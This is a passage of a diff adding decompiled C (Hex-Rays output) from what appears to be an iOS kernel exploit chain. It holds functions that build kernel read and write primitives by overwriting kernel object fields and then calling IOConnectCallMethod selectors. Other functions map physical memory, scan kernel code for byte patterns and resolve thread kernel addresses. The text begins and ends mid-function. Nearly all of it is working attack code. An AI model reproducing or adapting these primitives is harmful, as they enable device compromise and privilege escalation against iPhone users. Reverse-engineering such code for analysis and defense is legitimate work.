[xbp-40h] BYREF + semaphore_t semaphore[2]; // [xsp+8h] [xbp-38h] BYREF + + if ( *(_QWORD *)(a1 + 344) < 0x1F530000000000uLL ) + { + if ( *(_BYTE *)(a1 + 12) ) + { + return 0; + } + else + { + if ( (unsigned int)(*(_DWORD *)(a1 + 16) + 1) <= 1 ) + { + v7 = (unsigned int)sub_24D64("AppleSEPManager"); + if ( v7 + 1 < 2 ) + return 708625; + *(_DWORD *)(a1 + 16) = v7; + } + for ( i = 0; ; i = 1 ) + { + v9 = _IOServiceSetAuthorizationID(); + if ( v9 != -536870207 ) + break; + if ( (i & 1) != 0 ) + return v9 & 0xFFF | 0x70000000u; + if ( !(unsigned int)sub_2F294((struct_krwCtx *)a1, mach_task_self_) ) + return 163905; + } + if ( !v9 ) + goto LABEL_21; + return v9 & 0xFFF | 0x70000000u; + } + } + else + { + v2 = 0; + v11 = 0; + *(_QWORD *)semaphore = 0; + if ( !*(_BYTE *)(a1 + 12) ) + { + v3 = calloc(1u, 0x40u); + if ( !v3 ) + return 708617; + v4 = v3; + v3[4] = -1; + *(_QWORD *)(a1 + 40) = v3; + v5 = semaphore_create(mach_task_self_, &semaphore[1], 0, 0); + if ( !v5 ) + { + v4[2] = semaphore[1]; + v5 = semaphore_create(mach_task_self_, semaphore, 0, 0); + if ( !v5 ) + { + v4[3] = semaphore[0]; + v2 = create_pthread_something(a1, &v11, (__int64)sub_2AB18, (void *)a1); + if ( (_DWORD)v2 ) + goto LABEL_7; + *(_QWORD *)v4 = v11; + v10 = (mach_timespec_t)3LL; + v5 = semaphore_timedwait(semaphore[0], v10); + v2 = (unsigned int)v4[15]; + if ( (_DWORD)v2 ) + goto LABEL_7; + if ( !v5 ) + { +LABEL_21: + v2 = 0; + *(_BYTE *)(a1 + 12) = 1; + return v2; + } + } + } + v2 = v5 | 0x80000000; +LABEL_7: + sub_26B00(a1, 0); + } + } + return v2; +} + +//----- (0000000000026DD0) ---------------------------------------------------- +__int64 __fastcall kreadbuf_via_IOConnectCallMethod( + __int64 a1, + unsigned __int64 a2, + __int64 a3, + unsigned int a4, + int a5) +{ + __int64 v5; // x24 + unsigned int v12; // w8 + __int64 v13; // x28 + __int64 v14; // x25 + size_t v15; // x26 + unsigned __int64 v16; // x8 + int v17; // w9 + unsigned int v18; // w8 + unsigned int v19; // w27 + mach_port_t v20; // w0 + __int64 v21; // x8 + __int64 v22; // x9 + __int64 v23; // x9 + __int64 v24; // x10 + __int128 *v25; // x9 + kern_return_t v26; // w0 + unsigned int v27; // w8 + __int64 v28; // x9 + __int64 v29; // x24 + kern_return_t v30; // w0 + __int64 v31; // x10 + unsigned int v32; // w9 + __int64 v33; // x10 + __int64 v34; // x11 + __int64 v35; // x10 + size_t v36; // x2 + __int128 v37; // [xsp+10h] [xbp-A0h] + int v38; // [xsp+20h] [xbp-90h] BYREF + int v39; // [xsp+24h] [xbp-8Ch] BYREF + size_t outputStructCnt; // [xsp+28h] [xbp-88h] BYREF + int outputStruct; // [xsp+30h] [xbp-80h] BYREF + uint32_t outputCnt; // [xsp+34h] [xbp-7Ch] BYREF + uint64_t output[2]; // [xsp+38h] [xbp-78h] BYREF + uint64_t input[2]; // [xsp+48h] [xbp-68h] BYREF + + v5 = 708609; + if ( (unsigned int)(*(_DWORD *)(a1 + 232) + 1) >= 2 ) + { + if ( *(_QWORD *)(a1 + 248) ) + { + if ( *(_QWORD *)(a1 + 256) ) + { + if ( validate_addr_maybe2((struct_krwCtx *)a1, a2) ) + { + v39 = -1; + if ( !a5 || (v5 = fd_open_dev_null(&v39), !(_DWORD)v5) ) + { + if ( a4 ) + { + v12 = 0; + while ( 1 ) + { + v13 = v12; + v14 = a2 + v12; + v15 = a4 - v12; + if ( (*(_QWORD *)(a1 + 392) & v14) == 0 && (unsigned int)v15 >= 0x4000 ) + break; + if ( (unsigned int)v15 > 3 ) + goto LABEL_26; + if ( (((v14 + (unsigned int)v15 - 1) ^ (v14 + 3)) & ~*(_QWORD *)(a1 + 392)) != 0 ) + v19 = 4 - v15; + else + v19 = 0; +LABEL_27: + v20 = *(_DWORD *)(a1 + 232); + v5 = 708609; + if ( v20 + 1 >= 2 ) + { + v21 = v14 - v19; + v22 = *(_QWORD *)(a1 + 248); + v5 = 708609; + if ( *(int *)(a1 + 320) < 8792 ) + { + if ( v22 ) + { + v5 = 708609; + if ( *(_QWORD *)(a1 + 256) ) + { + v28 = *(_QWORD *)(a1 + 264) + v22; + v29 = *(_QWORD *)(v28 + 192); + *(_QWORD *)(v28 + 192) = v21 - 20; + output[0] = 0; + LODWORD(outputStructCnt) = 1; + input[0] = *(unsigned int *)(a1 + 272); + v30 = IOConnectCallMethod( + v20, + 0x10u, + input, + 1u, + 0, + 0, + output, + (uint32_t *)&outputStructCnt, + 0, + 0); + if ( v30 ) + { + v27 = v30 | 0x80000000; + } + else + { + v27 = 0; + v38 = output[0]; + } + v35 = *(_QWORD *)(a1 + 248); + v32 = 708609; + if ( v35 ) + { + v32 = 708609; + if ( *(_QWORD *)(a1 + 256) ) + { + v32 = 0; + *(_QWORD *)(*(_QWORD *)(a1 + 264) + v35 + 192) = v29; + } + } + goto LABEL_53; + } + } + } + else if ( v22 ) + { + v5 = 708609; + if ( *(_QWORD *)(a1 + 256) ) + { + v23 = *(_QWORD *)(a1 + 264) + v22; + v24 = 1096; + if ( *(_QWORD *)(a1 + 344) > 0x225C192D0FFFFFuLL ) + v24 = 1104; + v25 = (__int128 *)(v23 + v24); + v37 = *v25; + *(_QWORD *)v25 = v21; + *((_QWORD *)v25 + 1) = 4; + outputStruct = 0; + outputCnt = 2; + outputStructCnt = 4; + input[0] = *(unsigned int *)(a1 + 272); + input[1] = 0; + output[0] = 0; + output[1] = 0; + v26 = IOConnectCallMethod( + v20, + 0x33u, + input, + 2u, + 0, + 0, + output, + &outputCnt, + &outputStruct, + &outputStructCnt); + if ( v26 ) + { + v27 = v26 | 0x80000000; + } + else + { + v27 = 0; + v38 = outputStruct; + } + v31 = *(_QWORD *)(a1 + 248); + v32 = 708609; + if ( v31 ) + { + v32 = 708609; + if ( *(_QWORD *)(a1 + 256) ) + { + v32 = 0; + v33 = *(_QWORD *)(a1 + 264) + v31; + v34 = 1096; + if ( *(_QWORD *)(a1 + 344) > 0x225C192D0FFFFFuLL ) + v34 = 1104; + *(_OWORD *)(v33 + v34) = v37; + } + } +LABEL_53: + if ( v27 ) + v5 = v27; + else + v5 = v32; + if ( !(_DWORD)v5 ) + { + if ( (unsigned int)v15 >= 4 ) + v36 = 4; + else + v36 = v15; + memcpy((void *)(a3 + v13), (char *)&v38 + v19, v36); + } + } + } + } + LODWORD(v15) = 4; +LABEL_29: + if ( (_DWORD)v5 ) + goto LABEL_62; + v12 = v15 + v13; + if ( (int)v15 + (int)v13 >= a4 ) + goto LABEL_61; + } + if ( sub_25734(a1) ) + { + v16 = *(_QWORD *)(a1 + 344); + if ( v16 <= 0x1F530F027FFFFFLL ) + v17 = 0x4000; + else + v17 = 0x80000; + if ( v16 <= 0x2711FFFFFFFFFFLL ) + v18 = v17; + else + v18 = 528; + if ( (unsigned int)v15 >= v18 ) + LODWORD(v15) = v18; + v5 = sub_26204(a1, v14, (char *)(a3 + v13), v15); + goto LABEL_29; + } +LABEL_26: + v19 = 0; + goto LABEL_27; + } +LABEL_61: + v5 = 0; +LABEL_62: + if ( a5 ) + fd_close(v39); + } + } + } + } + } + return v5; +} + +//----- (00000000000271B0) ---------------------------------------------------- +__int64 __fastcall sub_271B0(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5) +{ + __int64 v5; // x19 + __int64 v12; // x0 + unsigned int v13; // w27 + unsigned __int64 v14; // x8 + unsigned __int64 v15; // x9 + unsigned int v16; // w28 + size_t v17; // x26 + unsigned __int64 v18; // x25 + __int64 v19; // x0 + mach_port_t v20; // w0 + __int64 v21; // x8 + uint64_t v22; // x9 + __int64 v23; // x8 + __int64 v24; // x10 + __int64 v25; // x26 + kern_return_t v26; // w0 + __int64 v27; // x8 + __int64 v28; // x8 + __int64 v29; // x9 + uint64_t v30; // [xsp+10h] [xbp-80h] BYREF + int v31; // [xsp+1Ch] [xbp-74h] BYREF + uint64_t input[3]; // [xsp+20h] [xbp-70h] BYREF + + v5 = 708609; + if ( (unsigned int)(*(_DWORD *)(a1 + 232) + 1) >= 2 + && *(_QWORD *)(a1 + 248) + && *(_QWORD *)(a1 + 256) + && validate_addr_maybe2((struct_krwCtx *)a1, a2) ) + { + v31 = -1; + if ( !a5 || (v12 = fd_open_dev_null(&v31), !(_DWORD)v12) ) + { + if ( a4 ) + { + v13 = 0; + while ( 1 ) + { + v14 = a4 - v13; + v30 = 0; + v15 = a2 + v13; + if ( (unsigned int)v14 >= 8 ) + v16 = 0; + else + v16 = (((v15 + (unsigned int)v14 - 1) ^ (v15 + 7)) & ~*(_QWORD *)(a1 + 392)) != 0 ? 8 - v14 : 0; + v17 = 8 - (unsigned __int64)v16 >= v14 ? a4 - v13 : 8LL - v16; + v18 = v15 - v16; + if ( v17 <= 7 ) + { + v19 = kreadbuf_via_IOConnectCallMethod(a1, v15 - v16, (__int64)&v30, 8u, 0); + if ( (_DWORD)v19 ) + break; + } + memcpy((char *)&v30 + v16, (const void *)(a3 + v13), v17); + v20 = *(_DWORD *)(a1 + 232); + if ( v20 + 1 < 2 ) + goto LABEL_35; + v21 = *(_QWORD *)(a1 + 248); + if ( !v21 || !*(_QWORD *)(a1 + 256) ) + goto LABEL_35; + v22 = v30; + v23 = *(_QWORD *)(a1 + 264) + v21; + v24 = 864; + if ( *(int *)(a1 + 320) > 8791 ) + v24 = 872; + v25 = *(_QWORD *)(v23 + v24); + *(_QWORD *)(v23 + v24) = v18; + input[0] = *(unsigned int *)(a1 + 272); + input[1] = 0; + input[2] = v22; + v26 = IOConnectCallMethod(v20, 0x21u, input, 3u, 0, 0, 0, 0, 0, 0); + v27 = *(_QWORD *)(a1 + 248); + if ( !v27 || !*(_QWORD *)(a1 + 256) ) + { + if ( !v26 ) + goto LABEL_35; +LABEL_33: + v5 = v26 | 0x80000000; + goto LABEL_35; + } + v28 = *(_QWORD *)(a1 + 264) + v27; + v29 = 864; + if ( *(int *)(a1 + 320) > 8791 ) + v29 = 872; + *(_QWORD *)(v28 + v29) = v25; + if ( v26 ) + goto LABEL_33; + v13 = v13 - v16 + 8; + if ( v13 >= a4 ) + goto LABEL_31; + } + v5 = v19; + } + else + { +LABEL_31: + v5 = 0; + } +LABEL_35: + if ( a5 ) + fd_close(v31); + return v5; + } + return v12; + } + return v5; +} + +//----- (0000000000027414) ---------------------------------------------------- +__int64 __fastcall physmap_maybe(__int64 a1, vm_address_t *address, vm_size_t size, __int64 paddr) +{ + kern_return_t v4; // w0 + + v4 = vm_map(mach_task_self_, address, size, 0, 1, *(_DWORD *)(a1 + 88), paddr & ~*(_QWORD *)(a1 + 392), 0, 3, 3, 2u); + if ( v4 ) + return v4 | 0x80000000; + else + return 0; +} + +//----- (0000000000027478) ---------------------------------------------------- +__int64 __fastcall sub_27478(__int64 a1) +{ + io_object_t v2; // w0 + vm_address_t v3; // x1 + vm_size_t v4; // x2 + mach_port_name_t v5; // w1 + + v2 = *(_DWORD *)(a1 + 92); + if ( v2 + 1 >= 2 ) + { + IOObjectRelease(v2); + *(_DWORD *)(a1 + 92) = 0; + } + v3 = *(_QWORD *)(a1 + 96); + if ( v3 ) + { + v4 = *(_QWORD *)(a1 + 104); + if ( v4 ) + { + vm_deallocate(mach_task_self_, v3, v4); + *(_QWORD *)(a1 + 96) = 0; + *(_QWORD *)(a1 + 104) = 0; + } + } + *(_QWORD *)(a1 + 112) = 0; + *(_QWORD *)(a1 + 120) = 0; + v5 = *(_DWORD *)(a1 + 88); + if ( v5 + 1 >= 2 ) + { + mach_port_deallocate(mach_task_self_, v5); + *(_DWORD *)(a1 + 88) = 0; + } + return 0; +} + +//----- (0000000000027504) ---------------------------------------------------- +__int64 __fastcall sub_27504(__int64 a1, char a2) +{ + __int64 v4; // x23 + bool v5; // zf + __int64 v6; // x21 + __int64 v7; // x0 + __int64 v8; // x21 + unsigned __int64 v9; // x22 + unsigned __int64 v10; // x25 + unsigned __int64 v11; // x0 + unsigned __int64 v12; // x23 + unsigned __int64 v13; // x0 + int v14; // w8 + __int64 v15; // x20 + int v16; // w22 + __int64 v17; // x0 + char *v18; // x0 + unsigned __int64 v19; // x20 + unsigned __int64 v20; // x0 + int v21; // w8 + __int64 v23; // [xsp+8h] [xbp-88h] BYREF + __int128 v24; // [xsp+10h] [xbp-80h] BYREF + __int64 v25; // [xsp+20h] [xbp-70h] + __int128 v26; // [xsp+28h] [xbp-68h] BYREF + __int64 v27; // [xsp+38h] [xbp-58h] + + v4 = 708625; + if ( *(_QWORD *)(a1 + 128) ) + v5 = *(_DWORD *)(a1 + 136) == 0; + else + v5 = 1; + if ( !v5 ) + goto LABEL_23; + if ( (a2 & 1) != 0 ) + return 708609; + sub_19D10(*(_QWORD *)(a1 + 6648), &v26); + *((_QWORD *)&v26 + 1) = *((_QWORD *)&v26 + 1) + v27 - 0x20000; + v27 = 0x20000; + v24 = v26; + v25 = 0x20000; + v7 = kernel_pattern_scan((__int64)&v24, "88 91 00 B9 9F 0D 00 B9", 0); + if ( !v7 ) + return 708625; + v8 = v7; + v9 = 0; + v10 = -4; + while ( 1 ) + { + if ( ((unsigned int)sub_19ACC(*(__int64 **)(a1 + 6648), (__int64 *)(v8 + v10 + 4)) & 0x9F000000) != 0x90000000 + || ((unsigned int)sub_19ACC(*(__int64 **)(a1 + 6648), (__int64 *)(v8 + v10 + 8)) & 0xBFC00000) != 0xB9400000 ) + { + goto LABEL_15; + } + v11 = sub_1E854(*(__int64 **)(a1 + 6648), (__int64 *)(v8 + v10 + 4)); + if ( !v11 ) + return 708625; + v12 = v11; + if ( v9 ) + break; + v9 = v11; +LABEL_15: + v10 += 4LL; + if ( v10 >= 0xFC ) + return 708625; + } + v6 = 163878; + if ( !kread64_outptr((struct_krwCtx *)a1, v9, (unsigned __int64 *)&v24) ) + return 163855; + if ( !validate_addr(a1, v24) ) + return v6; + if ( !kread64_outptr((struct_krwCtx *)a1, v12, (unsigned __int64 *)&v23) ) + return 163855; + if ( validate_addr(a1, v23) ) + { + v13 = sub_21844(a1, v24); + if ( v13 ) + { + v14 = v23 - v24; + *(_QWORD *)(a1 + 128) = v13; + *(_DWORD *)(a1 + 136) = v14; + v4 = 708625; +LABEL_23: + v6 = *(_QWORD *)(a1 + 160) != 0 && *(_DWORD *)(a1 + 168) != 0 ? 0LL : 708609LL; + if ( (*(_QWORD *)(a1 + 160) == 0 || *(_DWORD *)(a1 + 168) == 0) && (a2 & 1) == 0 ) + { + macho_getsectbyname("__DATA", *(_QWORD *)(a1 + 6648), "__percpu", &v26); + v15 = *((_QWORD *)&v26 + 1); + if ( *((_QWORD *)&v26 + 1) ) + { + v16 = v27; + if ( v27 ) + { + sub_19D10(*(_QWORD *)(a1 + 6648), &v26); + if ( *((_QWORD *)&v26 + 1) ) + { + if ( v27 ) + { + *((_QWORD *)&v26 + 1) = *((_QWORD *)&v26 + 1) + v27 - 0x20000; + v27 = 0x20000; + v17 = kernel_pattern_scan((__int64)&v26, ".. 02 00 F9 E1 03 13 AA", 0); + if ( v17 ) + { + v18 = sub_1EB2C(*(__int64 **)(a1 + 6648), (__int64 *)(v17 - 8), 0); + if ( v18 ) + { + v4 = 163878; + if ( kread64_internal((struct_krwCtx *)a1, (unsigned __int64)v18, &v24) ) + { + v19 = v24 + v15; + if ( validate_addr(a1, v19) ) + { + v20 = sub_21844(a1, v19); + if ( v20 ) + { + v6 = 0; + v21 = (*(_DWORD *)(a1 + 392) + v16) & ~*(_DWORD *)(a1 + 392); + *(_QWORD *)(a1 + 160) = v20; + *(_DWORD *)(a1 + 168) = v21; + return v6; + } + } + } + else + { + return 163855; + } + } + else + { + return 708628; + } + } + } + } + } + } + return v4; + } + } + } + return v6; +} + +//----- (0000000000027808) ---------------------------------------------------- +__int64 __fastcall sub_27808(__int64 a1, char a2) +{ + vm_size_t v4; // x19 + int v5; // w8 + __int64 v6; // x21 + unsigned int v10; // w27 + kern_return_t v11; // w0 + int v12; // w8 + unsigned __int64 v13; // x21 + bool v14; // zf + int v15; // w8 + int v16; // w9 + void *(__cdecl *v17)(void *); // x0 + int v18; // w0 + int v19; // w8 + int v20; // w26 + unsigned int v21; // w24 + mach_port_t v22; // w0 + mach_port_t v23; // w26 + unsigned __int64 v24; // x0 + unsigned __int64 v25; // x0 + __int64 v26; // x27 + semaphore_t v27; // w25 + int v28; // w8 + int v29; // w25 + __int64 v30; // x28 + __int64 v31; // x3 + vm_size_t v32; // x22 + __int64 v33; // x0 + void *v34; // x23 + void *v35; // x0 + int v36; // w8 + char *v37; // x9 + int v38; // w10 + char *v39; // x11 + __int64 v40; // x12 + char *v41; // x24 + kern_return_t v42; // w0 + int v43; // w9 + size_t v44; // x25 + int v45; // w0 + int v46; // w8 + unsigned int v47; // w8 + void *v48; // x0 + uint64_t v49; // x8 + _opaque_pthread_t *v50; // x0 + mach_port_t v51; // w0 + semaphore_t v52; // w8 + __int64 v53; // x28 + unsigned int v54; // w28 + __int64 v55; // x8 + unsigned __int64 v56; // x8 + __int64 v57; // x27 + unsigned __int64 v58; // x25 + pthread_t *v59; // x28 + void *(__cdecl *v60)(void *); // x0 + int v61; // w0 + int v62; // w0 + unsigned int v63; // w8 + unsigned __int64 v64; // x21 + __int64 v65; // x9 + _opaque_pthread_t *v66; // x0 + int v67; // w0 + int v68; // w8 + int v69; // w8 + int v70; // w8 + int v71; // w26 + pthread_t *v72; // x0 + unsigned int v73; // w9 + unsigned __int64 v74; // x28 + vm_address_t v75; // x1 + vm_size_t v76; // x2 + __int64 *v78; // x22 + unsigned int v79; // [xsp+4h] [xbp-7Ch] + uint64_t v80; // [xsp+8h] [xbp-78h] + unsigned int v81; // [xsp+10h] [xbp-70h] + vm_address_t address; // [xsp+18h] [xbp-68h] BYREF + pthread_t v83; // [xsp+20h] [xbp-60h] BYREF + semaphore_t semaphore; // [xsp+2Ch] [xbp-54h] BYREF + + address = 0; + v4 = vm_page_size; + v5 = *(_DWORD *)(a1 + 320); + v6 = 163884; + if ( v5 > 8791 ) + { + if ( v5 != 8792 && v5 != 10002 && v5 != 8796 ) + return v6; + } + else if ( (unsigned int)(v5 - 8019) >= 2 && v5 != 7195 ) + { + return v6; + } + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000000) ) + { + v10 = 264; + } + else + { + v10 = 184; + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 89669633) ) + { + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 512) ) + v10 = 184; + else + v10 = 256; + } + } + if ( *(_QWORD *)(a1 + 48) && (a2 & 1) == 0 ) + { + v83 = 0; + semaphore = 0; + v11 = semaphore_create(mach_task_self_, &semaphore, 0, 0); + if ( v11 ) + { + v6 = v11 | 0x80000000; + } + else + { + v17 = (void *(__cdecl *)(void *))nullsub_1(sub_2AD98); + v18 = pthread_create(&v83, 0, v17, (void *)semaphore); + if ( v18 ) + { + if ( v18 >= 0 ) + v19 = v18; + else + v19 = -v18; + v6 = v19 | 0x40000000u; + } + else + { + v22 = pthread_mach_thread_np(v83); + if ( v22 + 1 < 2 ) + { + v6 = 163848; + } + else + { + v23 = v22; + v24 = port_name_to_kaddr((struct_krwCtx *)a1, v22); + if ( v24 ) + { + v25 = sub_21844(a1, v24 + v10); + if ( v25 ) + { + v26 = v25; + v27 = semaphore; + goto LABEL_155; + } + } + v6 = 163878; + } + } + } + if ( semaphore + 1 >= 2 ) + { + semaphore_signal(semaphore); + semaphore_destroy(mach_task_self_, semaphore); + } + if ( v83 ) + pthread_join(v83, 0); + goto LABEL_158; + } + v6 = sub_27504(a1, a2); + if ( (_DWORD)v6 ) + { +LABEL_158: + if ( address && v4 ) + vm_deallocate(mach_task_self_, address, v4); + return v6; + } + v12 = *(_DWORD *)(a1 + 320); + if ( v12 <= 8791 ) + { + if ( v12 != 8019 ) + { + if ( v12 == 8020 ) + { + v20 = 48; + v21 = 9728; + goto LABEL_66; + } + goto LABEL_76; + } + if ( *(_QWORD *)(a1 + 344) <= 0x1F5313FFFFFFFFuLL ) + v21 = 9728; + else + v21 = 9744; + } + else + { + switch ( v12 ) + { + case 8792: + v14 = !krw_ctx_has_flag((struct_krwCtx *)a1, 89670145); + v15 = 9952; + v16 = 9936; + break; + case 8796: + v20 = 48; + v21 = 9904; + goto LABEL_66; + case 10002: + v13 = *(_QWORD *)(a1 + 344); + v14 = !krw_ctx_has_flag((struct_krwCtx *)a1, 32); + if ( v13 < 0x27120A80800000LL ) + { + v15 = 17904; + v16 = 10160; + } + else + { + v15 = 17936; + v16 = 10192; + } + break; + default: + goto LABEL_76; + } + if ( v14 ) + v21 = v16; + else + v21 = v15; + } + v28 = *(_DWORD *)(a1 + 320); + v20 = 48; + if ( v28 > 8795 ) + { + if ( v28 == 8796 ) + goto LABEL_66; + if ( v28 == 10002 ) + { + v20 = 40; + goto LABEL_66; + } +LABEL_76: + v6 = 163884; + goto LABEL_158; + } + if ( (unsigned int)(v28 - 8019) >= 2 && v28 != 8792 ) + goto LABEL_76; +LABEL_66: + v29 = number_of_cpus(); + v30 = (unsigned int)(v29 - 1); + v31 = *(_QWORD *)(a1 + 160); + v83 = 0; + v32 = (unsigned int)(*(_DWORD *)(a1 + 168) * v30); + v33 = sub_280A0(a1, (vm_address_t *)&v83, v32, v31); + if ( (_DWORD)v33 ) + { + v6 = v33; + v27 = 0; + v23 = 0; + v26 = 0; + v34 = 0; + goto LABEL_146; + } + v6 = 708617; + v35 = calloc(v29, 8u); + v34 = v35; + if ( !v35 ) + { +LABEL_142: + v27 = 0; + v23 = 0; + v26 = 0; + goto LABEL_146; + } + if ( v29 != 1 ) + { + v36 = 0; + v37 = (char *)v83 + v21; + v38 = *(_DWORD *)(a1 + 168); + do + { + v39 = &v37[v36]; + v40 = *(unsigned __int16 *)v39; + if ( v29 <= (int)v40 ) + { + v27 = 0; + v23 = 0; + v26 = 0; + v6 = 708628; + goto LABEL_146; + } + *((_QWORD *)v35 + v40) = v39; + v36 += v38; + --v30; + } + while ( v30 ); + } + semaphore = 0; + v41 = (char *)calloc(1u, 0x90u); + if ( !v41 ) + { + v43 = 0; + LODWORD(v44) = 0; + goto LABEL_130; + } + v42 = semaphore_create(mach_task_self_, &semaphore, 0, 0); + if ( v42 ) + { + v43 = 0; + LODWORD(v44) = 0; + v6 = v42 | 0x80000000; + goto LABEL_130; + } + *((_DWORD *)v41 + 4) = v29; + *((_DWORD *)v41 + 5) = v20; + *((_DWORD *)v41 + 31) = 0; + *(_QWORD *)v41 = a1; + *((_QWORD *)v41 + 1) = v34; + *((_DWORD *)v41 + 24) = v10; + *((_DWORD *)v41 + 34) = semaphore; + v45 = pthread_mutex_init((pthread_mutex_t *)(v41 + 32), 0); + if ( v45 ) + { + v43 = 0; + LODWORD(v44) = 0; + if ( v45 >= 0 ) + v46 = v45; + else + v46 = -v45; + v6 = v46 | 0x40000000u; + goto LABEL_130; + } + v47 = 2 * number_of_cpus(); + if ( v47 <= 8 ) + v44 = 8; + else + v44 = v47; + *((_DWORD *)v41 + 31) = v44; + v48 = calloc(v44, 8u); + *((_QWORD *)v41 + 16) = v48; + if ( !v48 ) + { +LABEL_129: + v43 = 1; + goto LABEL_130; + } + v49 = mach_absolute_time(); + v50 = (_opaque_pthread_t *)*((_QWORD *)v41 + 13); + v81 = v44; + if ( v50 ) + goto LABEL_89; + v80 = v49; + v6 = 0; + v54 = 2; + do + { + *((_QWORD *)v41 + 3) = 0; + if ( v54 >= (unsigned int)v44 ) + v55 = (unsigned int)v44; + else + v55 = v54; + *((_DWORD *)v41 + 30) = 0; + *((_DWORD *)v41 + 31) = v55; + bzero(*((void **)v41 + 16), 8 * v55); + if ( (mach_absolute_time() - v80) * *(unsigned int *)(a1 + 604) / *(unsigned int *)(a1 + 608) > 0x12A15343FLL ) + { + v6 = 2147483697LL; + goto LABEL_129; + } + LODWORD(v56) = *((_DWORD *)v41 + 31); + if ( (_DWORD)v56 ) + { + v79 = v54; + v57 = 0; + v58 = 0; + do + { + v59 = (pthread_t *)(*((_QWORD *)v41 + 16) + v57); + v60 = (void *(__cdecl *)(void *))nullsub_1(sub_2ADB4); + v61 = pthread_create(v59, 0, v60, v41); + if ( v61 ) + { + if ( v61 >= 0 ) + v69 = v61; + else + v69 = -v61; + v6 = v69 | 0x40000000u; + goto LABEL_123; + } + ++v58; + v56 = *((unsigned int *)v41 + 31); + v57 += 8; + } + while ( v58 < v56 ); + LODWORD(v44) = v81; + v54 = v79; + } + if ( (_DWORD)v6 ) + goto LABEL_129; + if ( *((_DWORD *)v41 + 30) < (unsigned int)v56 ) + { + do + thread_switch(0, 2, 1u); + while ( *((_DWORD *)v41 + 30) < *((_DWORD *)v41 + 31) ); + } + v62 = pthread_mutex_lock((pthread_mutex_t *)(v41 + 32)); + if ( v62 ) + goto LABEL_124; + v63 = *((_DWORD *)v41 + 31); + if ( !v63 ) + { +LABEL_110: + v6 = 0; + goto LABEL_115; + } + v64 = 0; + while ( 1 ) + { + v65 = *((_QWORD *)v41 + 16); + v66 = *(_opaque_pthread_t **)(v65 + 8 * v64); + if ( v66 != *((_opaque_pthread_t **)v41 + 13) ) + break; +LABEL_109: + *(_QWORD *)(v65 + 8 * v64++) = 0; + if ( v64 >= v63 ) + goto LABEL_110; + } + v67 = pthread_join(v66, 0); + if ( !v67 ) + { + v65 = *((_QWORD *)v41 + 16); + v63 = *((_DWORD *)v41 + 31); + goto LABEL_109; + } + if ( v67 >= 0 ) + v68 = v67; + else + v68 = -v67; + v6 = v68 | 0x40000000u; +LABEL_115: + v62 = pthread_mutex_unlock((pthread_mutex_t *)(v41 + 32)); + if ( v62 ) + { +LABEL_124: + if ( v62 >= 0 ) + v70 = v62; + else + v70 = -v62; + v6 = v70 | 0x40000000u; + goto LABEL_129; + } + v54 <<= v54 < (unsigned int)v44; + v50 = (_opaque_pthread_t *)*((_QWORD *)v41 + 13); + } + while ( !v50 ); + if ( !(_DWORD)v6 ) + { +LABEL_89: + v51 = pthread_mach_thread_np(v50); + v6 = 0; + v52 = semaphore; + v53 = *((_QWORD *)v41 + 14); + goto LABEL_134; + } +LABEL_123: + v43 = 1; + LODWORD(v44) = v81; +LABEL_130: + if ( semaphore + 1 >= 2 ) + { + v71 = v43; + semaphore_signal(semaphore); + semaphore_destroy(mach_task_self_, semaphore); + v43 = v71; + } + if ( !v41 ) + goto LABEL_142; + v81 = v44; + v52 = 0; + v51 = 0; + v53 = 0; + v27 = 0; + v23 = 0; + v26 = 0; + if ( v43 ) + { +LABEL_134: + v23 = v51; + v27 = v52; + pthread_mutex_destroy((pthread_mutex_t *)(v41 + 32)); + v26 = v53; + } + v72 = (pthread_t *)*((_QWORD *)v41 + 16); + if ( v72 ) + { + v73 = *((_DWORD *)v41 + 31); + if ( v73 ) + { + v74 = 0; + while ( 1 ) + { + if ( v72[v74] ) + { + pthread_join(v72[v74], 0); + v72 = (pthread_t *)*((_QWORD *)v41 + 16); + v73 = *((_DWORD *)v41 + 31); + } + v72[v74++] = 0; + if ( v74 >= v73 ) + break; + v72 = (pthread_t *)*((_QWORD *)v41 + 16); + } + v72 = (pthread_t *)*((_QWORD *)v41 + 16); + } + bzero(v72, 8LL * v81); + free(*((void **)v41 + 16)); + } + free(v41); +LABEL_146: + v75 = *(_QWORD *)(a1 + 144); + if ( v75 ) + { + v76 = *(_QWORD *)(a1 + 152); + if ( v76 ) + { + vm_deallocate(mach_task_self_, v75, v76); + *(_QWORD *)(a1 + 144) = 0; + *(_QWORD *)(a1 + 152) = 0; + } + } + if ( v34 ) + free(v34); + if ( v83 && (_DWORD)v32 ) + vm_deallocate(mach_task_self_, (vm_address_t)v83, v32); + if ( (_DWORD)v6 ) + goto LABEL_158; +LABEL_155: + if ( *(_QWORD *)(a1 + 344) >= 0x27120F04B00003uLL && (*(_BYTE *)a1 & 0x20) != 0 ) + { + v78 = 0; + } + else + { + v6 = sub_280A0(a1, &address, v4, v26); + if ( (_DWORD)v6 ) + goto LABEL_158; + v78 = (__int64 *)((*(_QWORD *)(a1 + 392) & v26) + address); + v6 = 163878; + if ( !validate_addr(a1, *v78) ) + goto LABEL_158; + } + v6 = 0; + *(_DWORD *)(a1 + 172) = v23; + *(_QWORD *)(a1 + 176) = address; + *(_QWORD *)(a1 + 184) = v4; + *(_DWORD *)(a1 + 192) = *(_DWORD *)(a1 + 392) & v26; + *(_QWORD *)(a1 + 200) = v78; + *(_DWORD *)(a1 + 208) = v27; + *(_QWORD *)(a1 + 216) = v26; + return v6; +} +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (00000000000280A0) ---------------------------------------------------- +__int64 __fastcall sub_280A0(__int64 a1, vm_address_t *a2, vm_size_t a3, __int64 a4) +{ + mem_entry_name_port_t v4; // w5 + kern_return_t v6; // w0 + + v4 = *(_DWORD *)(a1 + 88); + if ( v4 + 1 < 2 ) + return 708609; + v6 = vm_map(mach_task_self_, a2, a3, 0, 1, v4, a4 & ~*(_QWORD *)(a1 + 392), 0, 3, 3, 2u); + if ( v6 ) + return v6 | 0x80000000; + else + return 0; +} + +//----- (000000000002811C) ---------------------------------------------------- +__int64 __fastcall sub_2811C(__int64 a1) +{ + mach_port_t v2; // w0 + _opaque_pthread_t *v3; // x20 + semaphore_t v4; // w0 + vm_address_t v5; // x1 + vm_size_t v6; // x2 + mach_port_name_t v7; // w1 + + v2 = *(_DWORD *)(a1 + 172); + if ( v2 + 1 >= 2 ) + { + v3 = 